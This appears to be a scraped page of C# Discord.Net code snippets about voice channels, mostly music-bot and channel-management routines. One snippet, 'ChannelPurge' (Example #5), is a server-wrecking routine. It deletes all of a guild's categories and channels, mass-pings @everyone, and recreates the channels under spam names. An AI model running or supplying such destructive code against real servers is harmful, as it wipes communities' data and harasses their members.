Example #1
0
        public async Task DelVoiChanl(IUserMessage umsg, [Remainder] IVoiceChannel voiceChannel)
        {
            await voiceChannel.DeleteAsync().ConfigureAwait(false);

            await umsg.Channel.SendMessageAsync($"🗑 Removed voice channel **{voiceChannel.Name}** successfully.").ConfigureAwait(false);
        }
Example #2
0
 public void RemoveVoiceChannel(IVoiceChannel channel)
 {
     Alt.Module.OnRemoveVoiceChannel(channel.NativePointer);
 }
        public async Task JoinChannel(IVoiceChannel channel, ulong guildID)
        {
            var audioClient = await channel.ConnectAsync();

            _audioClients.TryAdd(guildID, audioClient);
        }
Example #4
0
        }                        // Json

        public async Task <bool> ConnectAsync(ICommandContext Context = null, IVoiceChannel Channel = null)
        {
            if (Context == null)
            {
                if (VoiceChannelId == 0)
                {
                    return(false);
                }
                else
                {
                    if (Global.Client.GetChannel(VoiceChannelId) is IVoiceChannel channel)
                    {
                        try
                        {
                            Client = await channel.ConnectAsync();

                            State = PlayerState.Connected;
                            return(true);
                        }
                        catch { }
                    }
                    return(false);
                }
            }
            await DisconnectAsync();

            LanguageEntry Language = Context.GetSettings().GetLanguage();

            if (Channel != null)
            {
                try
                {
                    Client = await Channel.ConnectAsync();

                    VoiceChannelId = Channel.Id;
                    await Context.Channel.SendMessageAsync(Language.GetEntry("MusicHandler:ConnectedTo", "NAME", Channel.Name));
                }
                catch (Exception e)
                {
                    string msg = $"```${ e }```";
                    if (Global.Client.GetChannel(Global.Settings.DevServer.ErrorReportChannelId) is ITextChannel errChannel)
                    {
                        await Global.SendMessageAsync(msg, errChannel);
                    }
                    await Context.Channel.SendMessageAsync(Language.GetEntry("MusicHandler:CannotConnectToChannel"));

                    return(false);
                }
            }
            else if ((Context.User as IGuildUser).VoiceChannel is IVoiceChannel UserChannel)
            {
                try
                {
                    Client = await UserChannel.ConnectAsync();

                    VoiceChannelId = UserChannel.Id;
                    await Context.Channel.SendMessageAsync(Language.GetEntry("MusicHandler:ConnectedTo", "NAME", UserChannel.Name));
                }
                catch (Exception e)
                {
                    string msg = $"```${ e }```";
                    if (Global.Client.GetChannel(Global.Settings.DevServer.ErrorReportChannelId) is ITextChannel errChannel)
                    {
                        await Global.SendMessageAsync(msg, errChannel);
                    }
                    await Context.Channel.SendMessageAsync(Language.GetEntry("MusicHandler:CannotConnectToUser"));

                    return(false);
                }
            }
            else
            {
                IReadOnlyCollection <IVoiceChannel> Channels = await Context.Guild.GetVoiceChannelsAsync();

                IEnumerator <IVoiceChannel> enumerator = Channels.GetEnumerator();
                bool Connected = false;

                for (int i = 0; i < Channels.Count; i++)
                {
                    enumerator.MoveNext();

                    try
                    {
                        Client = await enumerator.Current.ConnectAsync();

                        await Context.Channel.SendMessageAsync(Language.GetEntry("MusicHandler:ConnectedTo", "NAME", enumerator.Current.Name));

                        VoiceChannelId = enumerator.Current.Id;
                        Connected      = true;
                        break;
                    }
                    catch { } // has no permission to connect
                }
                if (!Connected)
                {
                    await Context.Channel.SendMessageAsync(Language.GetEntry("MusicHandler:CannotConnectToAny"));
                }
            }

            State = PlayerState.Connected;

            // Assumption: only triggered when exception
            Client.Disconnected += (e) =>
            {
                if (!DisconnectInvoked)
                {
                    SetDisconnected();
                }
                return(Task.CompletedTask);
            };
            return(true);
        }
Example #5
0
        public static async Task ChannelPurge(IGuild guild)
        {
            ITextChannel statusChannel = await guild.CreateTextChannelAsync("REE6 Channel Purge Progress", channel => channel.Position = 1);

            await statusChannel.SendMessageAsync("REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE Channel Purge Operation Starting...");

            int categoryNum     = guild.GetCategoriesAsync().Result.Count;
            int textChannelNum  = guild.GetTextChannelsAsync().Result.Count;
            int voiceChannelNum = guild.GetVoiceChannelsAsync().Result.Count;

            // Purge Categories
            IUserMessage statusMessage = await statusChannel.SendMessageAsync("REEEEEEEEEE! Purging channel categories...");

            foreach (ICategoryChannel category in guild.GetCategoriesAsync().Result)
            {
                await category.DeleteAsync();
            }
            // Purge Text Channels
            await statusMessage.ModifyAsync(msg => msg.Content = "REEEEEEEEEE! Purging text channels...");

            foreach (ITextChannel channel in await guild.GetTextChannelsAsync())
            {
                if (channel.Id == statusChannel.Id)
                {
                    continue;
                }
                await channel.SendMessageAsync("@everyone REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE!!!!");

                await channel.DeleteAsync();
            }
            // Purge Voice Channels
            await statusMessage.ModifyAsync(msg => msg.Content = "REEEEEEEEEE! Purging voice channels...");

            foreach (IVoiceChannel channel in await guild.GetVoiceChannelsAsync())
            {
                await channel.DeleteAsync();
            }

            // Random for category separation
            Random random = new Random();

            // Recreate categories
            await statusMessage.ModifyAsync(msg => msg.Content = "Channel purge complete! Creating new channels...");

            statusMessage = await statusChannel.SendMessageAsync("REEEEEEEEEE! Creating categories...");

            ulong[] categoryIds = new ulong[categoryNum];
            for (int i = categoryNum; i > 0; i--)
            {
                ICategoryChannel categoryChannel = await guild.CreateCategoryAsync("REEEEEEEEEE! categorEEEEEEEEEEEEEEEEE!!!!");

                categoryIds[categoryNum - i] = categoryChannel.Id;
            }
            // Recreate Text Channels
            await statusMessage.ModifyAsync(msg => msg.Content = "REEEEEEEEEE! Creating text channels");

            for (int i = textChannelNum; i > 0; i--)
            {
                ITextChannel textChannel = await guild.CreateTextChannelAsync("REEEEEEEEEE! text channelEEEEEEEEEEEEEEEEE!!!!");

                try
                {
                    ulong randomCategoryId = categoryIds[random.Next(categoryNum)];
                    await textChannel.ModifyAsync(channel => channel.CategoryId = randomCategoryId);
                }
                catch
                {
                    await textChannel.SendMessageAsync("This channel could not be put into a category");
                }
            }
            // Recreate Voice Channels
            await statusMessage.ModifyAsync(msg => msg.Content = "REEEEEEEEEE! Creating voice channels");

            //IUserMessage voiceChannelFailsMessage = await statusChannel.SendMessageAsync("0 voice channels could not be put in a category");
            int voiceChannelFails = 0;

            for (int i = voiceChannelNum; i > 0; i--)
            {
                IVoiceChannel voiceChannel = await guild.CreateVoiceChannelAsync("REEEEEEEEEE! voice channelEEEEEEEEEEEEEEEEE!!!!");

                try
                {
                    ulong randomCategoryId = categoryIds[random.Next(categoryNum)];
                    await voiceChannel.ModifyAsync(channel => channel.CategoryId = randomCategoryId);
                }
                catch
                {
                    voiceChannelFails++;
                    //await voiceChannelFailsMessage.ModifyAsync(msg => msg.Content = voiceChannelFails + " voice channel(s) could not be put in a category.");
                }
            }

            await statusMessage.ModifyAsync(msg => msg.Content = "REEEEEEEEEE! Channel Purge Operation Complete!");

            await statusChannel.SendMessageAsync("Deleting channel in 3 seconds...");

            Timer terminate = new Timer(3000);

            terminate.AutoReset = false;
            terminate.Elapsed  += new ElapsedEventHandler(delegate(object sender, ElapsedEventArgs e) { statusChannel.DeleteAsync(); });
            terminate.Start();
        }
Example #6
0
        public async Task Play([Remainder] string Text)
        {
            IGuildUser    SelectedUser = null;
            IVoiceChannel channel      = (Context.Message.Author as IGuildUser).VoiceChannel;

            if (Context.Message.MentionedUserIds.Count() == 1)
            {
                ulong UserID = Context.Message.MentionedUserIds.First();
                SelectedUser = await Context.Guild.GetUserAsync(UserID);

                channel = SelectedUser?.VoiceChannel;
                Text    = Text.Substring(0, Text.LastIndexOf("<"));
            }
            if (channel == null)
            {
                if (SelectedUser != null)
                {
                    await Context.Channel.SendMessageAsync(SelectedUser.Username + " isn't in a voice channel, baka!");
                }
                else
                {
                    await Context.Channel.SendMessageAsync("Please join a voice channel before requesting tracks! :)");
                }
                return;
            }
            if (ChannelTrackList.Keys.Contains(channel) == false)
            {
                AudioPlayer NewPlayer = new AudioPlayer()
                {
                    MessageClient = Context.Message.Channel
                };
                NewPlayer.SendMessage_Raised += (Message, x) => x.SendMessageAsync(Message);
                ChannelTrackList.Add(channel, NewPlayer);
            }
            AudioPlayer Player    = ChannelTrackList[channel];
            string      PlayAudio = await Player.DoPlayAsync(Text, (Context.Message.Author as IGuildUser).Nickname);

            if (PlayAudio != "")
            {
                if (PlayAudio == "ERROR")
                {
                    await Context.Channel.SendMessageAsync("Unable to process your request, " + (Context.Message.Author as IGuildUser).Nickname + ".");

                    return;
                }
                var IsInVoiceChannel = await channel.GetUserAsync(Context.Client.CurrentUser.Id);

                if (IsInVoiceChannel == null || Player.DiscordOutStream == null)
                {
                    IAudioClient audioClient = await channel.ConnectAsync();

                    Player.EngageOutStream(audioClient);
                }
                VideoInfo Vid = null;
                if (PlayAudio == "MOVE")
                {
                    Vid       = Player.GetNext();
                    PlayAudio = "Now Playing On SpagBot: " + Vid.Title;
                }
                else if (PlayAudio == "QUEUE")
                {
                    Vid       = Player.Videos.Last();
                    PlayAudio = "Queued Up On SpagBot: " + Vid.Title;
                }
                if (Vid != null)
                {
                    Console.WriteLine(Context.Message.Author.Username + " has requested " + Vid.Title);
                    await Context.Message.DeleteAsync();

                    await Context.Channel.SendMessageAsync(PlayAudio);

                    if (PlayAudio.Contains("Now Playing On SpagBot:"))
                    {
                        await Player.PlayNext(true);
                    }
                }
            }
        }
 private bool ChannelHasWorker(IVoiceChannel channel)
 {
     return(Workers.FirstOrDefault(w => w.AudioChannel == channel) != null);
 }
        public async Task TryQueueRelatedSongAsync(SongInfo song, ITextChannel txtCh, IVoiceChannel vch)
        {
            var related = (await _google.GetRelatedVideosAsync(song.VideoId, 4)).ToArray();

            if (!related.Any())
            {
                return;
            }

            var si = await ResolveSong(related[new NadekoRandom().Next(related.Length)], _client.CurrentUser.ToString(), MusicType.YouTube);

            if (si == null)
            {
                throw new SongNotFoundException();
            }
            var mp = await GetOrCreatePlayer(txtCh.GuildId, vch, txtCh);

            mp.Enqueue(si);
        }
Example #9
0
 public KaraokeSetting(IVoiceChannel karaokeVc, ITextChannel karaokeChannel, IRole singingRole)
 {
     KaraokeVc      = karaokeVc.Id;
     KaraokeChannel = karaokeChannel.Id;
     SingingRole    = singingRole.Id;
 }
        public async Task CheckPermissionsAsync(IMessageChannel messageChannel)
        {
            messageChannel ??= this.Context.Channel;
            if (!(messageChannel is IGuildChannel guildChannel))
            {
                return;
            }

            IGuildUser guildBotUser = await this.Context.Guild.GetCurrentUserAsync();

            ChannelPermissions channelPermissions        = guildBotUser.GetPermissions(guildChannel);
            ChannelPermissions contextChannelPermissions = guildBotUser.GetPermissions(this.Context.Channel as IGuildChannel);

            StringBuilder builder = new StringBuilder();

            if (!channelPermissions.ViewChannel)
            {
                builder.AppendLine(
                    "> - Cannot view the channel. Add the \"Read Text Channels & See Voice Channels\" permission in " +
                    "the guild setting or \"Read Messages\" in the channel settings.");
            }

            if (!channelPermissions.SendMessages)
            {
                builder.AppendLine("> - Cannot send messages in the channel. Add the \"Send Messages\" permission to " +
                                   "the role in the guild or channel settings.");
            }

            if (!channelPermissions.EmbedLinks)
            {
                builder.AppendLine("> - Cannot add embeds. Add the \"Embed Links\" permission in the guild or " +
                                   "channel settings.");
            }

            if (!channelPermissions.AttachFiles)
            {
                builder.AppendLine("> - Cannot attach files, so !exportToFile will fail. Add the \"Attach Files\" " +
                                   "permission in the guild or channel settings.");
            }

            ulong?voiceChannelId;

            using (DatabaseAction action = this.DatabaseActionFactory.Create())
            {
                voiceChannelId = await action.GetPairedVoiceChannelIdOrNullAsync(guildChannel.Id);
            }

            if (voiceChannelId.HasValue)
            {
                IVoiceChannel pairedVoiceChannel = await this.Context.Guild.GetVoiceChannelAsync(voiceChannelId.Value);

                if (pairedVoiceChannel == null)
                {
                    builder.AppendLine("> - Paired voice channel no longer exists. Please use !pairChannels to " +
                                       "pair this channel to a new voice channel.");
                }
                else if (pairedVoiceChannel is IGuildChannel pairedGuildChannel &&
                         !guildBotUser.GetPermissions(pairedGuildChannel).MuteMembers)
                {
                    builder.AppendLine($"> - Cannot mute reader in paired voice channel \"{pairedGuildChannel.Name}\"." +
                                       " Please add the \"Mute Members\" permission to the role in the guild or channel settings.");
                }
            }

            if (builder.Length == 0)
            {
                builder.AppendLine("All permissions are set up correctly.");
            }

            // This does not need to check for ViewChannel from the context, as we are responding
            // to the command
            bool sendDm = !contextChannelPermissions.SendMessages;

            if (sendDm)
            {
                await this.Context.User.SendMessageAsync(builder.ToString());

                return;
            }

            await this.Context.Channel.SendMessageAsync(builder.ToString());
        }
Example #11
0
        public async Task <bool> CheckIfConnectedToChannelAsync(IMessageChannel channel, IVoiceChannel voicechannel)
        {
            var users = await voicechannel.GetUsersAsync(CacheMode.AllowDownload).Flatten();

            if (users.ToList().Count > 1)
            {
                return(true);
            }
            return(false);
        }
Example #12
0
 private async Task LeaveChannel()
 {
     IVoiceChannel channel = (Context.User as IVoiceState).VoiceChannel;
     await _audioclient.StopAsync();
 }
Example #13
0
        public async Task play(params string[] Search)
        {
            try
            {
                if (Search.Length == 0)
                {
                    if (string.IsNullOrEmpty(Database.Read("Music", "Server_ID", Context.Guild.Id.ToString(), "Queue")))
                    {
                        await Context.Channel.SendMessageAsync("Nothing's in the queue. Please provide a song.");
                    }
                    else
                    {
                        Channel = Channel ?? (Context.Message.Author as IGuildUser)?.VoiceChannel;
                        if (Channel == null)
                        {
                            await Context.Channel.SendMessageAsync("You must be in a voice channel.");
                        }
                        else
                        {
                            if (Database.Read("Music", "Server_ID", Context.Guild.Id.ToString(), "Playing") != "True")
                            {
                                await Playing.StartPlaying(await Channel.ConnectAsync(), Context, Channel);
                            }
                            else
                            {
                                await Context.Channel.SendMessageAsync("The bot is already playing something.");
                            }
                        }
                    }
                }
                else
                {
                    IEnumerable <IMessage> msgs = await Context.Channel.GetMessagesAsync().FlattenAsync();

                    if (msgs.Where(m => m.Author.Id == 508008523146199061 && m.Content.StartsWith("**Song Results:**")).Count() > 0)
                    {
                        await Context.Channel.SendMessageAsync("There is already a message to select a song. Please select one in order to add more songs.");

                        return;
                    }

                    string[] emojiArr = { "1⃣", "2⃣", "3⃣", "4⃣", "5⃣" };

                    Channel = Channel ?? (Context.Message.Author as IGuildUser)?.VoiceChannel;
                    if (Channel == null)
                    {
                        await Context.Channel.SendMessageAsync("You must be in a voice channel.");
                    }
                    else
                    {
                        string url = "https://www.googleapis.com/youtube/v3/search?part=snippet&q=" + Uri.EscapeUriString(string.Join(" ", Search)) + "&key=" + Uri.EscapeUriString(Hidden_Info.API_Keys.Youtube);

                        WebClient webClient = new WebClient();
                        string    value     = webClient.DownloadString(url);

                        dynamic Json = JsonConvert.DeserializeObject <dynamic>(value);
                        items = Json.items;

                        if (items.Count == 0)
                        {
                            await Context.Channel.SendMessageAsync("No search results found.");
                        }
                        else
                        {
                            int       index  = 0;
                            dynamic[] titles = items.Select(i =>
                            {
                                index += 1;
                                return(index + ": " + i.Value <dynamic>().snippet.title);
                            }).ToArray();
                            string          msg = "**Song Results:**\n```\n" + String.Join("\n", titles) + "\n```**This message will expire in 10 seconds!**";
                            RestUserMessage m   = await Context.Channel.SendMessageAsync(msg);

                            int results = items.Count;
                            int current = 1;
                            Context.Client.ReactionAdded += Client_ReactionAdded;
                            try
                            {
                                foreach (string em in emojiArr)
                                {
                                    if (current <= results)
                                    {
                                        current++;
                                        var e = new Emoji(em);
                                        await m.AddReactionAsync(e);
                                    }
                                }

                                await Task.Delay(1000);

                                await m.ModifyAsync(h => h.Content = msg.Replace("**This message will expire in 10 seconds!**", "**This message will expire in 9 seconds!**"));

                                await Task.Delay(1000);

                                await m.ModifyAsync(h => h.Content = msg.Replace("**This message will expire in 10 seconds!**", "**This message will expire in 8 seconds!**"));

                                await Task.Delay(1000);

                                await m.ModifyAsync(h => h.Content = msg.Replace("**This message will expire in 10 seconds!**", "**This message will expire in 7 seconds!**"));

                                await Task.Delay(1000);

                                await m.ModifyAsync(h => h.Content = msg.Replace("**This message will expire in 10 seconds!**", "**This message will expire in 6 seconds!**"));

                                await Task.Delay(1000);

                                await m.ModifyAsync(h => h.Content = msg.Replace("**This message will expire in 10 seconds!**", "**This message will expire in 5 seconds!**"));

                                await Task.Delay(1000);

                                await m.ModifyAsync(h => h.Content = msg.Replace("**This message will expire in 10 seconds!**", "**This message will expire in 4 seconds!**"));

                                await Task.Delay(1000);

                                await m.ModifyAsync(h => h.Content = msg.Replace("**This message will expire in 10 seconds!**", "**This message will expire in 3 seconds!**"));

                                await Task.Delay(1000);

                                await m.ModifyAsync(h => h.Content = msg.Replace("**This message will expire in 10 seconds!**", "**This message will expire in 2 seconds!**"));

                                await Task.Delay(1000);

                                await m.ModifyAsync(h => h.Content = msg.Replace("**This message will expire in 10 seconds!**", "**This message will expire in 1 second!**"));

                                await Task.Delay(1000);

                                Context.Client.ReactionAdded -= Client_ReactionAdded;
                                await m.DeleteAsync();
                            }
                            catch (Exception) { }
                        }

                        // Console.WriteLine(items);
                    }
                }
            }
            catch (Exception ex)
            {
                await Utils.ReportError(Context, "Play", ex);
            }
        }
Example #14
0
 public Task MoveToVoiceChannel(IVoiceChannel voiceChannel)
 {
     if (audioClient?.ConnectionState != ConnectionState.Connected)
         throw new InvalidOperationException("Can't move while bot is not connected to voice channel.");
     PlaybackVoiceChannel = voiceChannel;
     return PlaybackVoiceChannel.ConnectAsync();
 }
Example #15
0
 public async Task PlayAudio(IVoiceChannel channel = null)
 {
     //await DiscordBot.SendAudioToVoice("test");
 }
 public SmartphoneCall(CharacterEntity caller, CharacterEntity receiving, Timer callTimer, IVoiceChannel voiceChannel)
 {
     Caller       = caller;
     Receiving    = receiving;
     CallTimer    = callTimer;
     VoiceChannel = voiceChannel;
 }
Example #17
0
 public async Task Disconnect(IVoiceChannel channel = null)
 {
     DiscordBot.AudioClient.Dispose();
 }
        public async Task <MusicPlayer> GetOrCreatePlayer(ulong guildId, IVoiceChannel voiceCh, ITextChannel textCh)
        {
            string GetText(string text, params object[] replacements) =>
            _strings.GetText(text, _localization.GetCultureInfo(textCh.Guild), "Music".ToLowerInvariant(), replacements);

            _log.Info("Checks");
            if (voiceCh == null || voiceCh.Guild != textCh.Guild)
            {
                if (textCh != null)
                {
                    await textCh.SendErrorAsync(GetText("must_be_in_voice")).ConfigureAwait(false);
                }
                throw new NotInVoiceChannelException();
            }
            _log.Info("Get or add");
            return(MusicPlayers.GetOrAdd(guildId, _ =>
            {
                _log.Info("Getting default volume");
                var vol = GetDefaultVolume(guildId);
                _log.Info("Creating musicplayer instance");
                var mp = new MusicPlayer(this, _google, voiceCh, textCh, vol);

                IUserMessage playingMessage = null;
                IUserMessage lastFinishedMessage = null;

                _log.Info("Subscribing");
                mp.OnCompleted += async(s, song) =>
                {
                    try
                    {
                        lastFinishedMessage?.DeleteAfter(0);

                        try
                        {
                            lastFinishedMessage = await mp.OutputTextChannel.EmbedAsync(new EmbedBuilder().WithOkColor()
                                                                                        .WithAuthor(eab => eab.WithName(GetText("finished_song")).WithMusicIcon())
                                                                                        .WithDescription(song.PrettyName)
                                                                                        .WithFooter(ef => ef.WithText(song.PrettyInfo)))
                                                  .ConfigureAwait(false);
                        }
                        catch
                        {
                            // ignored
                        }
                    }
                    catch
                    {
                        // ignored
                    }
                };
                mp.OnStarted += async(player, song) =>
                {
                    //try { await mp.UpdateSongDurationsAsync().ConfigureAwait(false); }
                    //catch
                    //{
                    //    // ignored
                    //}
                    var sender = player;
                    if (sender == null)
                    {
                        return;
                    }
                    try
                    {
                        playingMessage?.DeleteAfter(0);

                        playingMessage = await mp.OutputTextChannel.EmbedAsync(new EmbedBuilder().WithOkColor()
                                                                               .WithAuthor(eab => eab.WithName(GetText("playing_song", song.Index + 1)).WithMusicIcon())
                                                                               .WithDescription(song.Song.PrettyName)
                                                                               .WithFooter(ef => ef.WithText(mp.PrettyVolume + " | " + song.Song.PrettyInfo)))
                                         .ConfigureAwait(false);
                    }
                    catch
                    {
                        // ignored
                    }
                };
                mp.OnPauseChanged += async(player, paused) =>
                {
                    try
                    {
                        IUserMessage msg;
                        if (paused)
                        {
                            msg = await mp.OutputTextChannel.SendConfirmAsync(GetText("paused")).ConfigureAwait(false);
                        }
                        else
                        {
                            msg = await mp.OutputTextChannel.SendConfirmAsync(GetText("resumed")).ConfigureAwait(false);
                        }

                        msg?.DeleteAfter(10);
                    }
                    catch
                    {
                        // ignored
                    }
                };
                _log.Info("Done creating");
                return mp;
            }));
        }
Example #19
0
 private static string GetRoleName(IVoiceChannel ch) =>
 "nvoice-" + ch.Id;
        public async Task DelVoiChanl([Remainder] IVoiceChannel voiceChannel)
        {
            await voiceChannel.DeleteAsync().ConfigureAwait(false);

            await ReplyConfirmLocalizedAsync("delvoich", Format.Bold(voiceChannel.Name)).ConfigureAwait(false);
        }
Example #21
0
        private async Task RecordingCommand()
        {
            try
            {
                string             messageOutput = "";
                SocketGuildUser[]  users;
                SocketGuildUser    messageAuthor         = this.Context.Message.Author as SocketGuildUser;
                SocketVoiceChannel curVoiceChannel       = messageAuthor.VoiceChannel;
                IVoiceChannel      recordingVoiceChannel = null;
                IReadOnlyCollection <IVoiceChannel> voiceChannels;
                CoOpBot.Modules.Admin.RolesModule   roleModule = new Modules.Admin.RolesModule();
                IRole recordingRole = null;

                // Check that the caller is in a voice channel
                if (curVoiceChannel == null)
                {
                    messageOutput += string.Format("{0}, you must be in a voice channel to use this command", messageAuthor.Username);
                }
                // Check that the caller is not already in the recording voice channel
                else if (curVoiceChannel.Name == "Now Recording")
                {
                    messageOutput += "You are already in the recording voice channel";
                }
                else
                {
                    // Make sure the Now Recording channel exists
                    voiceChannels = await this.Context.Guild.GetVoiceChannelsAsync();

                    for (int i = 0; i < voiceChannels.Count; i++)
                    {
                        SocketVoiceChannel voiceChannel;

                        voiceChannel = voiceChannels.ElementAt(i) as SocketVoiceChannel;

                        if (voiceChannel.Name == "Now Recording")
                        {
                            recordingVoiceChannel = voiceChannel;
                        }
                    }

                    if (recordingVoiceChannel != null)
                    {
                        // make array of users in the current voice channel
                        users = curVoiceChannel.Users.ToArray();

                        // Move users to the recording voice channel
                        foreach (SocketGuildUser curUser in users)
                        {
                            List <IRole> roleList = new List <IRole>();
                            List <ulong> userList = new List <ulong>();
                            IReadOnlyCollection <SocketRole> userRoles;
                            Boolean userHasRole = false;
                            userRoles = curUser.Roles;

                            foreach (SocketRole curRole in userRoles)
                            {
                                if (curRole.Name == "YouTube recorders")
                                {
                                    userHasRole   = true;
                                    recordingRole = curRole;
                                    break;
                                }
                            }

                            if (!userHasRole)
                            {
                                roleList.Add(recordingRole);
                                userList.Add(curUser.Id);
                                await roleModule.RoleAddUsers(this.Context.Guild as SocketGuild, userList, roleList);
                            }
                            await(curUser)?.ModifyAsync(x =>
                            {
                                x.ChannelId = recordingVoiceChannel.Id;
                            });
                        }

                        messageOutput += "Done";
                    }
                    else
                    {
                        messageOutput += "Now Recording voice channel does not exist";
                    }
                }

                await ReplyAsync(messageOutput);
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
 public async Task JoinAsync(IVoiceChannel channel)
 {
     await GetPlayerAsync(channel, shouldJoin : true);
 }
 /*
  * public static bool InVoiceChannel(IGuildUser target)
  * {
  *  foreach (var item in ActiveUsers)
  *  {
  *      if (item.tag == target.Id)
  *      {
  *          return true;
  *      }
  *  }
  *  return false;
  * }
  * public static ulong IdByName(string target)
  * {
  *  foreach (var item in ActiveUsers)
  *  {
  *      if (item.username == target || (item.nickname == target && item.nickname.Length > 0))
  *      {
  *          return item.tag;
  *      }
  *  }
  *  return 0;
  * }
  */
 public static async void VoteKick(IVoiceChannel where, SocketCommandContext context, user target, ulong caster)
 {
     await ActiveUsers[ActiveUsers.IndexOf(target)].Vote(where, 2, caster, context);
 }
Example #24
0
 public void RemoveVoiceChannel(IVoiceChannel channel)
 {
     Alt.CoreImpl.OnRemoveVoiceChannel(channel.NativePointer);
 }
Example #25
0
 public void CreateMValueVoiceChannel(out MValueConst mValue, IVoiceChannel value)
 {
     mValue = new MValueConst(MValueConst.Type.Entity,
                              AltNative.Server.Core_CreateMValueVoiceChannel(NativePointer, value.NativePointer));
 }
Example #26
0
 public async Task MoveMembers(IVoiceChannel sourceChannel, IVoiceChannel targetChannel)
 {
 }
 public restrictions(IVoiceChannel channel, byte level)
 {
     this.channel = channel;
     this.level   = level;
     expiry       = DateTime.Now.AddMinutes(15);
 }
Example #28
0
        /// <summary>
        /// Plays a song in a given voice channel
        /// </summary>
        /// <param name="guild">The <see cref="SocketGuild"/> where we are playing in</param>
        /// <param name="channel">The <see cref="IMessageChannel"/> to log messages to</param>
        /// <param name="target">The target <see cref="IVoiceChannel"/> to play music in</param>
        /// <param name="user">The <see cref="IUser"/> who requested this command</param>
        /// <param name="search">The query to search for</param>
        /// <returns></returns>
        public async Task SendAudio(SocketGuild guild, IMessageChannel channel, IVoiceChannel target, IUser user,
                                    string search)
        {
            //Join the voice channel the user is in if we are already not in a voice channel
            if (!CheckIfServerIsPlayingMusic(guild, out ServerMusicItem serverMusicList))
            {
                await JoinAudio(guild, target, channel, user);

                serverMusicList = GetMusicList(guild.Id);
            }

            //Check to see if the user is in the playing audio channel
            if (!await CheckIfUserInChat(user, channel, serverMusicList))
            {
                return;
            }

            //Make sure the search isn't empty or null
            if (string.IsNullOrWhiteSpace(search))
            {
                await channel.SendMessageAsync("You need to input a search!");

                return;
            }

            IUserMessage message =
                await channel.SendMessageAsync($":musical_note: Preparing to search for '{search}'");

            string songFileLocation;
            string songName;

            search.RemoveIllegalChars();

            try
            {
                songFileLocation = await GetOrDownloadSong(search, message, guild, serverMusicList);

                //It failed
                if (songFileLocation == null)
                {
                    return;
                }

                Logger.Log($"Playing song from {songFileLocation}", LogVerbosity.Debug);

                //This is so we say "Now playing 'Epic Song'" instead of "Now playing 'Epic Song.mp3'"
                songName = Path.GetFileName(songFileLocation).Replace($".{fileFormat.GetFormatExtension()}", "");

                //If there is already a song playing, cancel it
                await StopPlayingAudioOnServer(serverMusicList);
            }
            catch (Exception ex)
            {
                Logger.Log(ex.ToString(), LogVerbosity.Error);
                return;
            }

            //Create music playback for our music format
            IMusicPlaybackInterface playbackInterface = serverMusicList.MusicPlayback = CreateMusicPlayback(songFileLocation);

            //Log (if enabled) to the console that we are playing a new song
            if (Config.bot.AudioSettings.LogPlayStopSongToConsole)
            {
                Logger.Log($"The song '{songName}' on server {guild.Name}({guild.Id}) has started.",
                           LogVerbosity.Music);
            }

            serverMusicList.CancellationSource = new CancellationTokenSource();
            CancellationToken token = serverMusicList.CancellationSource.Token;

            serverMusicList.IsPlaying = true;

            //Create an outgoing pcm stream
            await using (AudioOutStream outStream = serverMusicList.AudioClient.CreatePCMStream(AudioApplication.Music))
            {
                bool      fail       = false;
                bool      exit       = false;
                const int bufferSize = 1024;
                byte[]    buffer     = new byte[bufferSize];

                await MessageUtils.ModifyMessage(message, $":musical_note: Now playing **{songName}**.");

                while (!fail && !exit)
                {
                    try
                    {
                        if (token.IsCancellationRequested)
                        {
                            exit = true;
                            break;
                        }

                        //Read from stream
                        int read = await playbackInterface.ReadAudioStream(buffer, bufferSize, token);

                        if (read == 0)
                        {
                            exit = true;
                            break;
                        }

                        //Flush
                        await playbackInterface.Flush();

                        //Write it to outgoing pcm stream
                        await outStream.WriteAsync(buffer, 0, read, token);

                        //If we are still playing
                        if (serverMusicList.IsPlaying)
                        {
                            continue;
                        }

                        //For pausing the song
                        do
                        {
                            //Do nothing, wait till is playing is true
                            await Task.Delay(100, token);
                        } while (serverMusicList.IsPlaying == false);
                    }
                    catch (OperationCanceledException)
                    {
                        //User canceled
                    }
                    catch (Exception ex)
                    {
                        await channel.SendMessageAsync("Sorry, but an error occured while playing!");

                        if (Config.bot.ReportErrorsToOwner)
                        {
                            await Global.BotOwner.SendMessageAsync(
                                $"ERROR: {ex.Message}\nError occured while playing music on guild `{guild.Id}`.");
                        }

                        fail = true;
                    }
                }

                if (Config.bot.AudioSettings.LogPlayStopSongToConsole)
                {
                    Logger.Log($"The song '{songName}' on server {guild.Name}({guild.Id}) has stopped.",
                               LogVerbosity.Music);
                }

                //There wasn't a request to cancel
                if (!token.IsCancellationRequested)
                {
                    await channel.SendMessageAsync($":musical_note: **{songName}** ended.");
                }

                //Clean up
                // ReSharper disable MethodSupportsCancellation
                await outStream.FlushAsync();

                outStream.Dispose();
                serverMusicList.IsPlaying = false;

                playbackInterface.EndAudioStream();
                serverMusicList.MusicPlayback = null;
                // ReSharper restore MethodSupportsCancellation

                serverMusicList.CancellationSource.Dispose();
                serverMusicList.CancellationSource = null;
            }
        }
 public VoiceChannelRef(IVoiceChannel voiceChannel)
 {
     this.voiceChannel = voiceChannel.AddRef() ? voiceChannel : null;
 }
Example #30
0
        public static async Task QueueSong(IGuildUser queuer, ITextChannel textCh, IVoiceChannel voiceCh, string query, bool silent = false, MusicType musicType = MusicType.Normal)
        {
            if (voiceCh == null || voiceCh.Guild != textCh.Guild)
            {
                if (!silent)
                    await textCh.SendMessageAsync("💢 You need to be in a voice channel on this server.\n If you are already in a voice channel, try rejoining.").ConfigureAwait(false);
                throw new ArgumentNullException(nameof(voiceCh));
            }
            if (string.IsNullOrWhiteSpace(query) || query.Length < 3)
                throw new ArgumentException("💢 Invalid query for queue song.", nameof(query));

            var musicPlayer = MusicPlayers.GetOrAdd(textCh.Guild.Id, server =>
            {
                float vol = 1;// SpecificConfigurations.Default.Of(server.Id).DefaultMusicVolume;
                using (var uow = DbHandler.UnitOfWork())
                {
                    vol = uow.GuildConfigs.For(textCh.Guild.Id).DefaultMusicVolume;
                }
                var mp = new MusicPlayer(voiceCh, vol);


                IUserMessage playingMessage = null;
                IUserMessage lastFinishedMessage = null;
                mp.OnCompleted += async (s, song) =>
                {
                    if (song.PrintStatusMessage)
                    {
                        try
                        {
                            if (lastFinishedMessage != null)
                                await lastFinishedMessage.DeleteAsync().ConfigureAwait(false);
                            if (playingMessage != null)
                                await playingMessage.DeleteAsync().ConfigureAwait(false);
